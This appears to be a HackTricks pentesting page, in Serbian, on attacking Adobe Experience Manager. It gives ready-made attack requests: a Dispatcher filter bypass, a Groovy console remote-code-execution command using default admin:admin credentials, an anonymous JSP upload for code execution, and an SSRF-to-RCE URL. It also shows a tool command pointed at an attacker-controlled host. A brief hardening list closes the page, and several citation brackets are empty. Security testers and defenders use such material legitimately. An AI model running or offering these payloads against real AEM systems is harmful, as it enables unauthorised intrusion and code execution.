AEM (Adobe Experience Manager) Pentesting
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Adobe Experience Manager (AEM, deo Adobe Experience Cloud-a) je preduzetnički CMS koji radi na Apache Sling/Felix (OSGi) i Java Content Repository (JCR). Sa perspektive napadača, AEM instance vrlo često izlažu opasne razvojne krajnje tačke, slabe Dispatcher pravila, podrazumevane akreditive i dugačak niz CVE-ova koji se zakrpljuju svaka tri meseca.
Lista provere u nastavku fokusira se na spolja dostupnu (unauth) površinu napada koja se stalno pojavljuje u stvarnim angažmanima (2022-2025).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Other quick indicators:
/etc.clientlibs/
statička putanja prisutna (vraća JS/CSS)./libs/granite/core/content/login.html
stranica za prijavu sa “Adobe Experience Manager” banerom.</script><!--/* CQ */-->
komentar na dnu HTML-a.
2. Visokovredni neautentifikovani krajnji tački
Putanja | Šta dobijate | Napomene |
---|---|---|
/.json , /.1.json | JCR čvorovi putem DefaultGetServlet | Često blokirano, ali Dispatcher bypass (vidi ispod) funkcioniše. |
/bin/querybuilder.json?path=/ | QueryBuilder API | Curjenje stabla stranica, unutrašnjih putanja, korisničkih imena. |
/system/console/status-* , /system/console/bundles | OSGi/Felix konzola | 403 po defaultu; ako je izloženo i pronađene su kredencijali ⇒ bundle-upload RCE. |
/crx/packmgr/index.jsp | Paket menadžer | Omogućava autentifikovane sadržajne pakete → JSP payload upload. |
/etc/groovyconsole/** | AEM Groovy konzola | Ako je izložena → proizvoljna Groovy / Java izvršenja. |
/libs/cq/AuditlogSearchServlet.json | Audit logovi | Otkriće informacija. |
/libs/cq/ui/content/dumplibs.html | ClientLibs dump | XSS vektor. |
Dispatcher bypass trik
Većina produkcionih sajtova se nalazi iza Dispatcher-a (obrnuti proxy). Njegova pravila filtriranja mogu se zaobići dodavanjem dozvoljene statičke ekstenzije posle tačke-zareza ili kodirane nove linije:
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Jedan zahtev poput gore navedenog često otkriva čvorove korisničkog profila sa email adresama. P-T Partners je objavio dobre smernice o ovoj slabosti. 【】
3. Uobičajene pogrešne konfiguracije (još uvek prisutne 2025)
- Anonimni POST servlet –
POST /.json
sa:operation=import
omogućava vam da postavite nove JCR čvorove. Blokiranje*.json
POST u Dispatcher-u to rešava. 【】 - Korisnički profili dostupni svima – podrazumevani ACL dodeljuje
jcr:read
na/home/users/**/profile/*
svima. - Podrazumevani kredencijali –
admin:admin
,author:author
,replication:replication
. - WCMDebugFilter omogućen ⇒ reflektovani XSS putem
?debug=layout
(CVE-2016-7882, još uvek pronađen na nasleđenim instalacijama 6.4). - Groovy Console izložen – daljinsko izvršavanje koda slanjem Groovy skripte:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
4. Nedavne ranjivosti (cadence servisnog paketa)
Kvartal | CVE | Pogođeni | Uticaj |
---|---|---|---|
Dec 2024 | CVE-2024-43711 | 6.5.21 i ranije | Nepravilna validacija ulaza → Izvršavanje proizvoljnog koda (zahteva nisku privilegiju). 【】 |
Dec 2024 | CVE-2024-43724/26 | 6.5.21 i ranije | DOM / Skladišteni XSS u čarobnjaku za premestanje stranica. 【】 |
Dec 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | DOM-bazirani XSS putem kreirane URL adrese. 【】 |
Dec 2022 | CVE-2022-30683 | ≤ 6.5.13 | Greška u dizajnu kriptografije → dekripcija tajne (zahteva niske privilegije). 【】 |
Uvek proverite APSB bilten koji odgovara servisnom paketu kupca i zatražite najnoviji 6.5.22 ili Cloud Service 2024.11.
5. Iskoristive snimke
5.1 RCE putem zaobilaženja dispečera + JSP upload
Ako je anonimno pisanje moguće:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Sada zatražite /content/evil.jsp
– JSP se pokreće sa AEM korisnikom procesa.
5.2 SSRF do RCE (istorijski < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py
iz aem-hacker automatizuje celu proceduru. 【】
6. Alati
- aem-hacker – skripta za enumeraciju kao švajcarski nož, podržava zaobilaženje dispečera, detekciju SSRF, provere podrazumevanih kredencijala i još mnogo toga.
python3 aem_hacker.py -u https://target --host attacker-ip
- Content Brute-force – rekurzivno zahteva
/_jcr_content.(json|html)
da otkrije skrivene komponente. - osgi-infect – otpremite zloćudni OSGi paket putem
/system/console/bundles
ako su dostupni kredencijali.
7. Lista za učvršćivanje (za preporuke u vašem izveštaju)
- Održavajte instancu na najnovijem kumulativnom servisnom paketu (od jula 2025: 6.5.22).
- Uklonite/rotirajte podrazumevane naloge; primenite SSO/SAML.
- Pojačajte Dispatcher filtere – odbijte
;
, kodirane nove redove, i*.json
ili*.querybuilder.json
za anonimne korisnike. - Onemogućite ili zaštitite konzole (
/system/console
,/crx/*
,/etc/groovyconsole
) sa IP listama dozvola. - Primijenite paket Anonymous Permission Hardening koji je isporučio Adobe.
Reference
- Adobe Security Bulletin APSB24-69 – “Bezbednosna ažuriranja za Adobe Experience Manager (decembar 2024)”.
- 0ang3el – aem-hacker alat (GitHub).
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.